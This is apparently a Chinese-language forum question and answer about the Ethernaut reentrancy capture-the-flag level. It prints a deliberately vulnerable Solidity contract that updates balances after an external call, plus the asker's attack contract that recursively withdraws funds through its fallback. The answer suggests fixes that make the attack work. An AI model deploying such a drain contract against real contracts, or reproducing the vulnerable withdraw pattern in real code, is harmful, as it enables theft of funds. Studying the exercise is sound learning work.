Remix
無法使用 Solidity 程式碼進行重入攻擊。Ethernaut Openzeppelin
這是我試圖破解的智能合約。你可以在這裡找到問題
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
這是我為攻擊部署的智能合約
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Reentrance.sol"; contract attackContract { Reentrance public _Reentrance; constructor(address payable _mainAddress) public payable { _Reentrance = Reentrance(_mainAddress); } function attack() public payable { _Reentrance.donate{ value : 3 wei , gas : 40000000}(address(this)); _Reentrance.withdraw(1 wei); } fallback() external payable { if(address(_Reentrance).balance != 0) _Reentrance.withdraw(address(_Reentrance).balance); } }
您可以在此處找到解決方案的詳細演練:https ://medium.com/coinmonks/ethernaut-lvl-10-re-entrancy-walkthrough-how-to-abuse-execution-ordering-and-reproduce-the-dao -7ec88b912c14
gas
從您的攻擊功能中刪除,並將其更改fallback() payable
為receive() payable
. 契約將有效,沒有任何錯誤。儘管您的契約中有一些錯誤。您fallback()
在一次呼叫中提到要提取契約的餘額,但第一個 if 將在那裡停止交易,因為使用者的餘額不能大於契約的餘額(如果其他人捐贈,那麼這將失敗)。所以糾正它,它會正常工作。